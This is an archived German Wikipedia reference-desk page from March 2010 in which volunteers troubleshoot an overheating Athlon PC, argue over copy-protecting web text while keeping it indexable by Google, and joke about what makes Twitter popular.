N'abend. (oder besser gute Nacht?) Mein alter (aber eigentlich noch gut funktionfähiger) PC hat momentan scheinbar mit Hitzewallungen zu kämpfen. Bei Belastung treten meist schon nach kurzer Zeit Fehler, manchmal sogar Bluescreens auf.
Zur Vorgeschichte: Schon seit Monaten traten solche Fehler auf, allerdings nur sehr sporadisch (alle paar Tage einmal). In den letzten Wochen häuften sich diese. Aktuell stürzt er meistens schon nach 10-20 Minuten ab, in Extremfällen sogar schon nach 3 Minuten (aber immer nur bei Belastung!). Der RAM scheidet vermutlich aus, da Memtest 86+ fünf Durchgänge fehlerfrei abgeschlossen hat. Jetzt habe ich den PC einem Stresstest mit Everest unterzogen, dabei fiel mir erstmal auf, dass die Leerlauftemperatur der CPU schon bei 50 °C liegt, früher waren es normalerweise nur etwa 40 °C (der Lüfter ist nicht reguliert und läuft immer auf Vollgas). Während des Test stieg die Temperatur gleichmäßig an, nach drei Minuten, bei 59 °C, trat ein nicht näher definierter Hardwarefehler auf und der Test brach ab. Hat jemand eine Idee, was da falsch laufen könnte? Staub kann es übrigens nicht sein, den Kühler habe ich grade noch abgesaugt, da ich den Dreck als Fehlerquelle im Verdacht hatte. Danke schonmal. --Saibot2 (Diskussion|PGP) 01:29, 20. Mär. 2010 (CET)[Beantworten]
Nachtrag: Habe vergessen, noch meine CPU anzugeben: AMD Athlon 2400+. --Saibot2 (Diskussion|PGP) 02:40, 20. Mär. 2010 (CET)[Beantworten]

So ein Athlon 2400 verträgt an sich noch weit höhere Temperaturen, selbst 80 Grad sind unter Vollast normalerweise kein Problem. Fraglich ist natürlich, ob die angezeigte Temperatur mit der tatsächlichen übereinstimmt. Programme, Bios-Funktionen, Sensoren können schon mal lustige Ergebnisse zusammenbasteln. Überprüfe in einem ersten Schritt einmal folgende zwei Sachen: a) Wird der Kühler wirklich heiß? Wenn der kalt bleibt oder nur lauwarm wird, während der Rechner bei angeblichen 59 Grad abstürzt, stimmt der Wärmeübergang zwischen CPU und Aluminium nicht mehr. Es kommt gelegentlich vor, daß Wärmeleitpaste eintrocknet und der Übergang sich verschlechtert. b) suche mal nach Kondensatoren die verbeult aussehen wie auf nebenstehendem Foto. -- smial 03:26, 20. Mär. 2010 (CET)[Beantworten]
(BK)Eigentlich müsste die CPU 65°C Temperatur aushalten. Ich kenne jetzt das Programm Everest nicht und benutze in solchen Fällen SiSoft SANDRA (frei im Netz), das mehr Hardware testet (auch das komplette Mainboard und die Grafikkarte) und Fehlerangaben macht. Wenn die CPU-Temperatur gegen früher unüblich schneller ansteigt, kann das natürlich auch an der CPU oder höhere Peripherielast liegen, ich würde aber eher erst einmal den CPU-Lüfter auf guten Sitz (Kühlpaste!)untersuchen und auch in Erwägung ziehen, dass der Lüfter trotz Reinigung wegen seines Alters defekt sein kann/ zu langsam läuft. Sind die anderen Lüfter, auch im Netzteil sauber und in Ordnung? Stimmen die 12 Volt? (SANDRA!)--91.56.221.10 03:43, 20. Mär. 2010 (CET)[Beantworten]
Die Messung bei Athlon XP CPUs (ein solcher ist wahrscheinlich gemeint) ist oft ungenau und es wird nicht die Kerntemperatur, sondern die Temperatur des CPU-Gehäuses angezeigt. Daher kanns je nach Mainbaord ab einer Angezeigten Temperatur von ca. 60°C kritisch werden. --MrBurns 04:33, 20. Mär. 2010 (CET)[Beantworten]
Die Temperatur, die angezeigt wird, ist üblicherweise in allen diesen Programmen die selbe (wird einfach vom BIOS übernommen). Dass die CPU eigentlich 65°C aushalten muss stimmt, nur ist die Temperaturanzeige bei vielen Mainboads falsch. Die Abweichungen, die da auftreten können sind groß genug, dass schon eine angezeigte Temp von 60°C gefährlich sein kann. --MrBurns 12:13, 20. Mär. 2010 (CET)[Beantworten]
Die Messung bei Athlon XP CPUs (ein solcher ist wahrscheinlich gemeint) ist oft ungenau und es wird nicht die Kerntemperatur, sondern die Temperatur des CPU-Gehäuses angezeigt. Daher kanns je nach Mainbaord ab einer Angezeigten Temperatur von ca. 60°C kritisch werden. --MrBurns 04:33, 20. Mär. 2010 (CET)[Beantworten]
Warum glaubt einklich keiner einem alten Schrauber? Die Athlon-Familien (Athlon XP Model 6, 8, 10) haben alle eine thermal diode auf dem Chip und können von daher durchaus genau wie die Intels die Die-Temperatur direkt auswerten. Wie man dort nachlesen kann, liegen die Grenztemperaturen allesamt bei 85 oder 90 Grad. Viele Mainboards aus der Zeit haben freilich das Design für die älteren Athlon-Modelle (ohne Diode) übernommen und arbeiten mit NTCs, die in der Sockellücke unter dem Prozessor sitzen und dort die Temperatur schätzen. Je nach Auslegung der Auswertung (wie oben in der ersten Antwort schon angedeutet, Software, Bios...) kann das mehr oder weniger genau sein. Wir haben bei diesen Boards damals immer mit 10-20 Grad Sicherheitsabstand gerechnet. In jedem Fall haben diese Lösungen ein Problem mit Totzeiten: Bei sehr schnellen Temperaturgradienten kann so ein Athlon schon buchstäblich abgeraucht sein, bevor die Überwachung überhaupt mitbekommt, daß der Kühler abgefallen ist und eigentlich die Stromversorgung abgeschaltet werden müßte. Btw: Die Temperaturmessung auf dem Chip selbst ist keineswegs Garantie dafür, daß die Werte auch stimmen. Intel hat es selbst mit dem gefühlt 15. Bios-Update für das DG43GT immer noch nicht geschafft, eine sinnvolle Prozessortemperaturanzeige hinzubekommen, das Bios zeigte in älteren Versionen direkt nach dem Einschalten gerne eine Temperetur von etwa 45-50 Grad, die nach einiger Betriebszeit dann sank, das aktuelle Bios hat das jetzt insoweit korrigiert, daß die Anzeige steigt, wenn es wärmer wird. Dafür fängt sie aber bei 11 Grad an, wenn man frisch eingeschaltet hat... -- smial 15:39, 20. Mär. 2010 (CET)[Beantworten]
Wohl kein Überhitzungsproblem. Es sieht für mich eher danach aus, dass dieses beschriebene Problem eher mit der Qualität der Elekrolytkondensatoren des Motherboards zusammenhängt. Es ist wohl nur relativ wenigen Fachleuten bekannt, das auch in der Massenproduktion von Elekrolytkondensatoren sich hin und wieder Fehler einschleichen, die dann die Haltbarkeit dieser Elkos unter Betriebsbedingungen oder exterem langer Lagereung deutlich verkürzen können (bei voll erhaltener Kapazität nach Produktion, vorübergehender Lagerung, Bestückung von Platienen und kurzfristigen Betriebseinsatz). Unter normalen Betriebsbedingungen (also auch ohne Auftreten von überhöhten Temperaturen) und langer Lagerung verringert sich zunehmend ihre Kapazität bis gegen null und schließlich verändern sie auch ihre Form in der auf dem Bild gezeigten Weise (sie gehen hoch und oder laufen aus). Mir kam vor ein paar Jahren ein Motherboard von Via unter die Hände mit eben dieser Fehlererscheinung und es brauchte ein ziemlich hartnäckiges Nachfragen auf dem Via-Forum in dieser Angelegenheit bis dann endlich die Info rüberkam, dass bei genau diesem Motherboard eine - wie sich eben erst später rausstellte - fehlerhafte Charge von Elkos verarbeitet worden war, was dann auch bei vielen Kunden früher oder später unter Betriebsbedingungen zu genau diesem Fehlerbild führte. Normalerweise erfährt man leider davon nichts, denn die betreffenden Firmen geben freiwillig derartige Infos nicht in die Öffentlichkeit. Leider hilft da nur eins: Motherboard ersetzen. Ein Elkoaustausch auf der betreffenden Platine ist sehr problematisch, da die modernen Platinen kleine und kleinste Leiterbahnen nicht nur auf der Vorder- und Rückseite haben, sondern auch dazwischen in mehrern Schichten und es nicht immer gelingen kann, dass der Kontakt auf allen Schichten nach Aus- und Einlöten des Elkos wiederhergestellt wird. Auserdem ist nicht immer klar zu ermitteln, welche Elkos auf der Platine zu der schadhaften Charge gehören, da auch solche schon ihre Kapazität verringert oder gar ganz verloren haben können, denen man es von aussen nicht im Geringsten ansehen kann. -- Muck 10:47, 20. Mär. 2010 (CET)[Beantworten]
Niemand wird Dir widersprechen, dass es auch an den Elkos und der bekannten Charge, die auch in Atomkraftwerken platzte, handeln kann. So gibt es noch viele, viele weitere Möglichkeiten im Computer. Realistisches Troubleshooting beginnt erst einmal nach einer Sichtkontrolle der Bauteile - auch der Elkos - methodisch beim Naheliegenden. Da Spekulationen nachzugehen führt vielleicht mal in einer Wahrscheinlichkeit 10000 zu 1 zum Erfolg, ist aber uneffektiv.--91.56.201.6 11:11, 20. Mär. 2010 (CET)[Beantworten]
Es stimmt, dass die Athlon XP's eine thermal diode auf dem Chip haben, nur kenn ich kein einziges Mainbaord, das diese auch anzeigen kann. Der Sinn der Dioden ist es die CPU automatisch abzuschalten, wenn sie zu heiß wird. Das macht zwar auch das mainboard, aber totzdem kann das BIOS die Temperatur der thermal diode üblicherweise nicht anzeigen (warum das so ist frag bitte einen BIOS-Programmierer eines betroffenen Boards, möglicherweise hat's einfach damit zu tun, dass die Temperaturen der Diode höher sind, als es Athlon-User gewohnt sind und man die User nicht versunsichern wolte). Aufgrund der möglichen Abweichungen der Temp., die vom Mainboard angezeigt wird, kann der CPU-Kern schon ab ~60°C angezeigter Temp so warm werden, dass das System instabil wird. --MrBurns 09:05, 23. Mär. 2010 (CET)[Beantworten]
Hat recht wenig mit Spekulation zu tun. Wenn Memtest sofort oder erst in Laufe von 24 Stnden oder noch später klare Fehler anzeigt, dann den selben Test mit nachweislich einwandfreiem anderen Arbeitsspeicher wiederholen. Kommen immernoch Fehler auf, ist schon mal der Arbeitsspeicher als Ursache ausgeschlossen. Dann die CPU extern testen. Ist auch die einwandfrei, dann ist der Fehler auf dem Motherboard zu suchen. Und wenn dort eben die Elkos (mit hoher Kapazität) schon äusserlich so wie auf dem Bild oben aussehen, ohne dass bislang Überhitzung mit im Spiel war, dann ist der Fehler klar bei diesen Elkos zu suchen. Das sage ich, besonders auf Grund von mir gemachter Erfahrung. Haben die Elkos sich äusserlich (noch) nicht verändert, kann es trotzdem an diesen liegen, oder an anderen Bauteilen des Motherboards. Egal, das Motherboarsrd austauschen ist das Beste, was man machen kann, so zumindest mein Tip. Was jeder daraus macht, ist dann seine Sache. -- Muck 11:29, 20. Mär. 2010 (CET)[Beantworten]
Warum nur das Motherboard, auch das Netzteil enthält Elkos, das dann unsaubere Spannung liefert. Im Router sind auch Elkos.--91.56.201.6 14:24, 20. Mär. 2010 (CET)[Beantworten]
Das Problem mit ausgebeulten Elkos kenn ich und es existieren auch ein paar davon auf meinem Board, aber ich denke, dass sie nicht diese Fehler verursachen, da sie sich schon seit mindestens zwei Jahren in diesem Zustand befinden und auf dem Board mit USB Pwr beschriftet sind. Meine Onboard USB-Ports sind genau deshalb schon lange abgeschaltet, stattdessen habe ich mir damals eine USB-PCI-Karte gekauft. Weitere defekte Elkos konnte ich nicht finden. Die Sache mit eingetrockneter Wärmeleitpaste werde ich mal überprüfen. Das Netzteil dürfte nicht als Fehlerquelle in Betracht kommen, da ich schon mehrfach Erfahrung mit defekten Netzteilen hatte. Das Fehlerbild sah dann aber immer anders aus (Festplatte ging plötzlich aus und sofort wieder an). Außerdem blieben alle vom Board gemessenen Spannungen vor und während des Tests konstant. --Saibot2 (Diskussion|PGP) 18:30, 20. Mär. 2010 (CET)[Beantworten]
Zum CPU testen würd ich übrigens Prime95 verwenden, weil das viel eher CPU-Probleme erkennt als memtest86 (nach meinen Erfahrungen ist übrigens memtest86 auch nicht das beste Speichertestprogramm, sondern GoldMemory). Außerdem erhitzt Prime95 die CPU viel stärker als memtest86. Wobei dei höchsten Temperaturen mit meinem alten Athlon XP 2700+ hab ich aber mit der Soiftware "TW4U Toaster II" erzielt. --MrBurns 12:38, 21. Mär. 2010 (CET)[Beantworten]

Text kopiergeschützt, aber für Google auswertbar auf Website stellen

Hallo, ich möchte gerne einen Text auf meiner Website veröffentlichen, der für Google zugänglich und auswertbar sein soll, auf der anderen Seite für Besucher nicht einfach kopierbar sein soll. Deswegen scheiden wohl Grafikformate und Word- und Doc-Dateien aus. Gibt es eine Lösung? Sie dürfte notfalls auch gerne etwas komplizierter sein. Vielen Dank. --79.217.41.168 13:29, 20. Mär. 2010 (CET)[Beantworten]

Generell "nicht kopierbar" oder für 95,7 % aller Besucher nicht kopierbar? G! GG nil nisi bene 13:48, 20. Mär. 2010 (CET)[Beantworten]
Letzteres (worauf mit "nicht einfach kopierbar" wohl auch abgezielt wird) erreicht man indem man den Text per Java- oder Flash-Applet serviert. Abgesehen davon, dass es nicht nett ist, die Benutzer so zu bevormunden, weiß ich nicht, welche dieser Techniken von Google ausgelesen werden. Letztendlich kann aber alles, was angezeigt wird, auch ausgelesen werden, am einfachsten per Screenshot. -- Theoprakt 13:55, 20. Mär. 2010 (CET)[Beantworten]
Für 95,7 % aller Besucher nicht kopierbar wäre schon einmal gar nicht schlecht. Auslesbar per Screenshot wäre auch kein Problem, solange Google & Co. den Text trotzdem auslesen und auch auswerten können. Mir geht es darum, eine Weiterverbreitung durch Veröffentlichung woanders möglichst zu erschweren oder zu verhindern. Gegen Java- und Flash-Applets habe ich auch Bedenken, auch wegen Google. (nicht signierter Beitrag von 79.217.41.168 (Diskussion | Beiträge) 14:31, 20. Mär. 2010 (CET)) [Beantworten]

firewall oder www-server so einstellen, dass nur google durchkommt auf die seite? --Heimschützenzentrum (?) 15:08, 20. Mär. 2010 (CET)[Beantworten]

Beim Herstellen verschlüsselter von PDF-Dateien lässt sich Ausdruck und Kopieren von Teilen verhindern. Das geht auch mit Freeware innert Sekunden. Netterweise braucht die Freeware, um solche Dateien druck- und kopierbar zu machen, noch weniger Zeit. Vielleicht sind Deine Besucher ja zu ungeschickt, diese Freeware zu finden oder Geld für die teuren Orginal-Programme aufzubringen. (Sie könnten allerdings die Auskunft hier befragen …) --Pfarrhaus 15:16, 20. Mär. 2010 (CET)[Beantworten]

Dein Ansinnen widerspricht allem, für das die Wikipedia-Community steht, in fundamentaler Weise. Es gibt nur eine Antwort darauf: lass das sein. Ich bitte die werten Mitwikipedianer, einer solchen Frage nicht auch noch durch weitere Diskussion Legitimation zu verschafffen. Wenn jemand so twas wissen will, soll er bei den Feinden freien Wissens fragen und nicht ausgerechnet hier. --AndreasPraefcke ¿! 15:30, 20. Mär. 2010 (CET)[Beantworten]

Freies Wissen und Kopierschutz müssen keine Gegensätze sein. Ich denke dabei an URV. Auch WP-Artikel unterliegen dem Urheberrecht. Wenn da jemand Angst hat, dass seine Text unrechtmäßig weiterverwendet werden dann soll er ihn doch schützen!. der Rest kann ihm aber imerhin noch dankbar sein, dass die Inhalte frei zugänglich (lesbar) sind. -- Arcy 15:39, 20. Mär. 2010 (CET)[Beantworten]
Meine Rückfrage zielte dahin, dass man über einen Text, aber auch z.B. über eine Grafik ein "durchsichtiges Bild" (keine Farbe, aber transparent) drüberlegt. Dann ist es lesbar, kapier- aber nicht kopierbar, lässt sich aber jemand den Code zeigen (View Page Source) ...
Ungefragte Zusatzantwort: Aber der Hintergrund entgeht mir noch. Warum etwas einstellen, was sich nicht jemand - zum Info-Sammeln - in ein notepad pasten soll?? Wenn ich auf eine solche Seite treffe, wird mein Bein immer ruckartig steif und ich trete die Katze... Soll heissen: SIE WERDEN DICH NICHT DAFÜR LIEBEN...G! GG nil nisi bene 15:43, 20. Mär. 2010 (CET)[Beantworten]
Ich geh dann gerne in den Quelltext (bei Text) oder in den Cache (bei anderen Medien), weil einige Seiten mittlerweile die Transparentbilder mit url-entstellendem JavaScript verbinden, macht die Sache mit dem Quelltext etwas schwieriger. So krieg ich auch gleich die Originaldateien ohne Änderungen, die der Browser möglicherweise beim normalen Abspeichern erzeugt (womit man die Transparent-Bildchen auch gut umgehen kann, Bilder landen dann meist fein säuberlich abgreifbar in dem zugehörigen Ordner). Streams finde ich da wesentlich lästiger. --89.246.208.88 17:49, 20. Mär. 2010 (CET)[Beantworten]

Denkt bitte auch an Sehbeinderte. Irgednwelche insgesammt nutzlosen Kopierschutzmechanismen sind für diese Gruppe ungefähr so nett wie unsinnige Treppenstufen für Rollstuhlfahrer.--84.160.189.87 16:49, 20. Mär. 2010 (CET)[Beantworten]

Alles was Google oder andere Benutzer auf ihren Systemen sehen/hören/etc können, ist kopierbar und sei es mittels Screenshot/Mikrofon/etc. --89.246.208.88 17:49, 20. Mär. 2010 (CET)[Beantworten]
Doch, die Leser werden mich für die Informationen lieben! Ich möchte eben nur möglichst gut und lange verhindern, dass allzuviele Leser sich zu schnell und zu einfach selbst mit diesen Informationen schmücken oder diese allzu leicht verändert weitergeben können - ich denke, dass so ein Wunsch legitim ist ... Ich denke, dass es eine gute Lösung ist, eine PDF zu erstellen und sie für's Drucken, Ändern und Kopieren zu sperren - und gleichzeitig den "Textzugriff für Bildschirmsehhilfen für Sehbehinderte" aktiviert zu lassen. Vielen Dank für Eure Hilfe! (nicht signierter Beitrag von 79.217.41.168 (Diskussion | Beiträge) 18:18, 20. Mär. 2010 (CET)) [Beantworten]
Das ist ein unsinniges Unterfangen, weil alle guten PDF-Reader diese Einstellungen ignorieren. Wenn du nicht möchtest, dass jemand mit deinem Text etwas anfangen kann (und da gehört Durchsuchbarkeit wesentlich dazu!), solltest du ihn nicht veröffentlichen. Im übrigen hat Google einen Cache. Das heißt, was Google gefunden hat, kann man durch einen einfachen Klick auf "im Cache" in der Suchergebnisliste und dann auf "nur-Text-Version" auch anzeigen lassen. PDFs wandelt Google genauso gerne und einfach in Text um. Dazu braucht man nun wirklich nicht mehr als elementare Computerkenntnisse.
Im allgemeinen ist daher das Ansinnen, irgendetwas "für Google durchsuchbar" aber andererseits "nicht kopierbar" machen zu wollen mit dem Fehlen dieser elementaren Kenntnisse gleichsetzbar. Das sollte dir zu denken geben. -- Janka 05:16, 21. Mär. 2010 (CET)[Beantworten]
Ich weiß gar nicht, warum Du Dich so aufführen und so einen unhöflich und arrogant klingenden Ton anschlagen musst.
Mehrere Tests haben übrigens gezeigt, dass der Acrobar Reader diese Einstelllungen nicht ignoriert. Übrigens ist es keineswegs mein Ziel, dass niemand etwas mit dem Text anfangen kann, sondern er soll sehr wohl auf angenehme Weise zur Kenntnis genommen werden können, er soll halt nur nicht so einfach mit Layout und allen Formatierungen kopierbar sein. Wenn ihn also jemand als reinen Text aus dem Google-Cache holen und neu formatieren will oder vom Bildschirm abschreiben will, dann kann er das gerne tun. Ich hoffe, ich habe es nun so beschrieben, dass Du es verstehen konntest ... Deswegen hatte ich am Anfang übrigens auch geschrieben, dass der Text "für Besucher nicht einfach kopierbar sein soll". (nicht signierter Beitrag von 79.217.26.183 (Diskussion | Beiträge) 20:33, 21. Mär. 2010 (CET)) [Beantworten]
Der Acrobat Reader ist ja auch kein guter PDF-Reader. Er weigert sich z.B. ein Dokument anzuzeigen wenn nur ein Zeichen darin nicht richtig kodiert ist (habe ich regelmäßig bei Datenblättern aus Japan oder China). Außerdem hat er die ungenehme Eigenschaft, Javascript in PDFs auswerten zu wollen (keine Ahnung, wozu das aus Benutzersicht gut sein soll), was den Benutzer allen Arten von Spionage durch den PDF-Ersteller sowie der Gefahr von Schadsoftware aussetzt.
Was "arrogant klingend" angeht: Ich finde es ziemlich arrogant von dir, deinen Lesern vorschreiben zu wollen, in welcher Form sie die Information, die du verbreiten willst, rezipieren sollen. Solche Dinge nerven einfach, und zwar jeden. Dass du hier uneinsichtig bist, macht es nur noch schlimmer. Und mit dieser Empfindung bin ich nicht alleine, siehe oben. -- Janka 10:29, 22. Mär. 2010 (CET)[Beantworten]
warum ist es arrogant selbst zu entscheiden was man mit seinem eigentum tut? ...Sicherlich Post 10:32, 22. Mär. 2010 (CET)[Beantworten]
Es ist arrogant, weil er möchte, dass viele Leute den Text lesen (Google). Gleichzeitig möchte er aber, dass die Leute den Text nur an der Stelle und in der Form lesen können die er bestimmt. Das ist hochmütig (arrogant), stellt es doch den Leser auf eine untergeordnete, unwichtige Stufe. -- Janka 10:35, 22. Mär. 2010 (CET)[Beantworten]
also ist es deiner meinung arrogant zu entscheiden was man mit seinem eigentum tut. INteressant ... ist es arogant dem leser vorzuschreibe, dass er die texte der Wikipedia nur weiternutzen darf wenn er den namen der autoren nennen? das ist doch mindestens genauso arrogant ...Sicherlich Post 10:39, 22. Mär. 2010 (CET) ich finde auch, dass die ganzen buchautore, musikproduzenten usw. arrogant sind; nur arogante auf dieser welt [Beantworten]
Gut, dann mache ich mal einen bildlichen Vergleich: Er stellt irgendwo ein Zirkuszelt auf und macht eine Riesenwerbung dafür, mit Schnipseln in der ganzen Stadt. Die Leute kommen und gucken sich das an. Natürlich möchten die Leute Erinnerungsfotos machen. Anstatt einfach zu sagen "Das ist ohnehin kostenlose Werbung für uns" und die Leute machen zu lassen, wird man am Eingang gefilzt und kriegt die Kamera erst beim Rausgehen wieder. Das sorgt für schlechte Stimmung, und kein Zirkusdirektor mit Verstand würde das so machen.
Hingegen setzen wir bei Wikipedia darauf, dass die Leute die Regeln aus Anstand ohnehin einhalten, anstatt das erzwingen zu wollen. Das ist ein großer Unterschied. Wenn dann doch mal einer den Bogen überspannt, kann man immer noch reagieren.
Und ja, du hast recht: In der Berieselungsindustrie sitzen die arrogantesten Arschlöcher, die die Welt jemals gesehen hat. -- Janka 10:52, 22. Mär. 2010 (CET)[Beantworten]
<quetsch> Du bist ein wenig weltfremd. Praktisch jede kommerzielle Seite verbittet sich ein kopieren Ihres Contents. Die Erstellung von qualitativen Content kostet Zeit und Geld. Es ist inzwischen ausreichend bekannt das man nicht lustig Texte von jeder Seite kopieren und verwenden darf. Und sehr häufig wird das auch geprüft und verfolgt wenn das jemand trotzdem tut. --FNORD 13:40, 22. Mär. 2010 (CET)[Beantworten]
Darum geht es hier aber nicht. Es geht darum, dass man mit so einer Sperre die sich anständig verhaltenen Besucher (die den Text vielleicht auch mal lesen wollen, wo sie gerade kein Internet oder keinen Computer zur Verfügung haben) nervt, während die unanständigen Besucher das Zeug selbstverständlich weiterhin kopieren können und werden. Das sollte man sich immer vor Augen halten, wenn man irgendwas sperren will. -- Janka 16:07, 22. Mär. 2010 (CET)[Beantworten]
Wenn die Alternative ist, dass der interessante Gratis-Content sonst gar nicht veröffentlicht wird, dann wird aber der anständige Besucher doch die Variante mit Kopiersperre vorziehen. "Ich will alles, aber umsonst" mag vielleicht als Wahlwerbung für die Piratenpartei geeignet sein. Aber die hat ja die Kriminalität auch schon im Namen und zählt für Dich deshalb bestimmt nicht zu den Anständigen.;-) --Grip99 19:31, 22. Mär. 2010 (CET)[Beantworten]
Diese Frage stellt sich aber gar nicht: Die anständigen Nutzer können sich nämlich nicht aussuchen, ob es zusätzlich auch noch unanständige Nutzer gibt. Wird das Werk gar nicht veröffentlicht, kriegt keiner (Autor, anständiger Nutzer, unanständiger Nutzer) was er will, das ist richtig. Der umgekehrte Fall (Werk wird veröffentlicht) spricht aber grundsätzlich alle möglichen Nutzer an. Mit einer Sperre kannst du aber ausschließlich diejenigen nerven, die sowieso vorhatten, sich an die Regeln zu halten. Also die Leute, die du nett findest und die du eigentlich als Leser haben willst. Die anderen werden die Sperre definitiv knacken, vermutlich nicht einmal wahrnehmen, weil das ein Programm automatisch für sie tut. Warum sollte man genau die Leute verprellen, die sich anständig verhalten? Das ist schizophren. Vermutlich wird es sogar dazu führen, dass auch die anständigen Nutzer des Werkes auch die Sperre knacken, ganz einfach um die Beschränkungen der privaten Nutzbarkeit (den Text vom Rechner verschlagworten lassen, lesen auf dem Klo, in der Badewanne oder sowas) loszuwerden. -- Janka 13:05, 23. Mär. 2010 (CET)[Beantworten]
Es stimmt natürlich, dass es einen gewissen statistischen Zusammenhang gibt und die Ehrlichen normalerweise weniger gewieft im Umgehen von Nutzungseinschränkungen sind. Aber dieser Zusammenhang ist nicht eins zu eins, d.h. auch von den Unehrlichen wird es einige geben, die schon bei relativ einfachen Schutzmechanismen aufgeben. Und nicht alles, was zur Nutzung auf dem Klo taugt (z.B. Screenshot), taugt auch zu einer problemlosen unbeschränkten kommerziellen Weiternutzung. Es gibt auch sehr ausgefeilte Schutzmechanismen, insbesondere mit Flash, an denen man sich m.E. auch als Unehrlicher mit Kommerzabsichten schon die Zähne ausbeißen kann. Ich erinnere mich etwa an diesen, von AndreasPraefcke gestarteten Thread, bei dem allerdings das Haupthindernis war, dass ein Screenshot an der schieren Größe des Bildes scheiterte.
Natürlich stellt sich die Frage, ob der Schaden für die Braven im Verhältnis zum erreichten Zweck bei den Bösen steht. Aber das sollte man schon dem Autor selbst überlassen und ihn nicht pauschal als Feind freien Wissens verunglimpfen. --Grip99 15:59, 23. Mär. 2010 (CET)[Beantworten]
Das tue ich auch nicht. Den Vergleich mit Wikipedia hat ein anderer Nutzer vorgebracht, ebenso "Jeder darf mit seinem Eigentum machen, was er will". "Ich will alles, aber umsonst" hast du vorgebracht. "Arrogant" hat der OP vorgebracht. Alles nicht meine Idee. Meine Aussage ist: Es ist unsinnig, technische Sperren einzusetzen, weil sie die ehrlichen Nutzer am härtesten treffen. Üblicherweise treffen sie sogar ausschließlich die anständigen Nutzer.. Das ist einfach eine Tatsache. Und deshalb der gutgemeinte Rat: Spar dir den Quatsch und gehe lieber direkt gegen die unanständigen Nutzer vor.. -- Janka 20:06, 24. Mär. 2010 (CET)[Beantworten]
Nachtrag: Immerhin sorgst du auf diese Weise für Arbeitsplätze: http://www.google.de/search?q=acroread+pdf+restrictions. Wer unbedingt der Acrobat Reader statt der kostenlosen Alternativen aus der Liste von PDF-Software nutzen will, muss halt einmalig ca. 10 Euro ausgeben. Aber evtl. gibt es da was kostenloses oder kostenlose Probeversionen. Letztlich sind das ohnehin nur ein paar Bits im Acroread-Programmcode, die geändert werden müssen. -- Janka 10:43, 22. Mär. 2010 (CET)[Beantworten]
aus anstand schreiben wir den leuten vor wie sie Wikipedia-Texte zu nutzen haben? Nee sorry, wenn wir an irgendeinen Anstand glauben würden, dann wären die Texte hier PD weil wir ja glauben würden, dass die Leute aus Anstand die Autorennamen schon nennen würden. ... und das mit dem Zirkus ist auch ein schöner vergleich: es wird also nicht aus anstand gemacht sondern auch knallharten wirtschaftsinteressen, denn wie du ja schreibst: "Das sorgt für schlechte Stimmung..." ... mit seinem eigentum machen zu wollen was man will ist eine der grundlagen der marktwirtschaft/des kapitalismus. ... natürlich kann man den als schlecht empfinden; bisher hat aber keine bessere _funktionierende_ wirtschaftsform gefunden. ...Sicherlich Post 11:20, 22. Mär. 2010 (CET)[Beantworten]
Diese Diskussion wird immer unsinniger. Fehlt eigentlich nur noch, dass jemand Godwins Law bedient. -- Janka 18:15, 22. Mär. 2010 (CET)[Beantworten]

Mal ein Praxisversuch von gestern: Die Seite Lebensmittellexikon hat irgend so einen Kopierschutz. Text markieren geht nicht. Im Safari-Browser muss man nur „Inhalt dieser Seite als E-Mail senden“ wählen, dann hat man die Seite frei editierbar im Mail-Programm. Will sagen: Einen technischen Schutz gibt es nicht, es sei denn, man baut richtig fiese Hürden ein, die auch die Nutzung der ursprünglichen Website massiv einschränken. Sicher sind die aber auch nicht. Wer im Internet veröffentlicht, muss einfach akzeptieren, dass das Kopieren von Inhalten sehr leicht ist. Legal ist es deshalb natürlich in der Regel nicht, dann kann man aber auch dagegen vorgehen. Rainer Z ... 14:46, 22. Mär. 2010 (CET)[Beantworten]

Genaue URL? Ich habe keine solchen Anstrengungen auf dieser Seite bemerkt. -- Janka 18:20, 22. Mär. 2010 (CET)[Beantworten]
Alle Unterseiten. Aber tatsächlich lassen sich ganze Seiten auch über Tastaturbefehle kopieren, nur Textabschnitte auswählen geht nicht. Rainer Z ... 18:41, 22. Mär. 2010 (CET)[Beantworten]
Schalte Javascript aus. Z.B. uch benutze Konqueror, da funktioniert deren Sperr-Skript wohl nicht. Bei Firefox ist es die NoScript-Erweiterung, die den Quatsch unwirksam macht. Braucht man sowieso, um vor den ekelhaftesten Auswüchsen der Internetwerbung gefeit zu sein. (Oh mein Gott, ich schau mir die Seiten an, ohne die Produkte zu kaufen, für die da geworben wird. Das ist ... Diebstahl ... irgendwie.) -- Janka 13:16, 23. Mär. 2010 (CET)[Beantworten]

Was ist eigentlich das Besondere an Twitter?

Was ist eigentlich das Besondere an Twitter, und warum ist Twitter so erfolgreich? --Schlu32 18:27, 20. Mär. 2010 (CET)[Beantworten]

Das besondere ist, das Leute, die entweder nichts gehaltvolles zu sagen haben oder unfähig sind, zusammenhängende sinvolle Texte zu schreiben, dies nun auf eine technische Längenbegrenzung schieben können. Erfolreich ist Twitter, weil es von dieser Sorte Mensch nunmal viele gibt. --85.180.89.31 19:36, 20. Mär. 2010 (CET)[Beantworten]
Der Autor Schirrmacher erklärt in "Payback" worauf dieser Drang beruht. Besonders ist "Twitter" weiterhin, weil 3 von 7 Buchstaben Ts sind. Das kommt nicht sehr häufig vor. G! GG nil nisi bene 21:41, 20. Mär. 2010 (CET)[Beantworten]
Brevity is the soul of wit. --Polonius 95.223.207.169 01:28, 21. Mär. 2010 (CET)[Beantworten]
Wat? --Dansker 01:40, 21. Mär. 2010 (CET)[Beantworten]
In der Kürze liegt die Würze ;)Atlan Disk. 04:03, 21. Mär. 2010 (CET)[Beantworten]
Also eines dieser Internetphänomäne, deren Erfolg überraschend (vor allem auch für die Gründer) eingetreten ist, wie beispielsweise Chatroulette und ... äh ... Wikipedia. --Schlu32 12:25, 21. Mär. 2010 (CET)[Beantworten]

Also für bestimmte Sachen ist Twitter durchaus sinnvoll. z.B. wenn ein Softwareentwickler die Community auf den letzten Stand halten will, ohne gleich jedes mal eine Ankündigung auf seiner Homepage machen zu können. Und der Leser weiß bei bestimmten Twitter-Profilen auch, dass er sich dort auf dem laufenden über bestimmte Sachen halten kann, ohne viel Zeit mit dem Lesen von elendslangen Texten zu vergeuden. --MrBurns 10:57, 24. Mär. 2010 (CET)[Beantworten]

Twitter ist super! Ich nutze es 24/7, um ständig alle zu informieren, dass ich gerade eine Pizza mit Thunfisch-Belag esse! Dat is geil! xD -- 87.123.20.50 01:06, 25. Mär. 2010 (CET)[Beantworten]

21. März 2010

Mit Karte bezahlt – Kassenzettel verloren

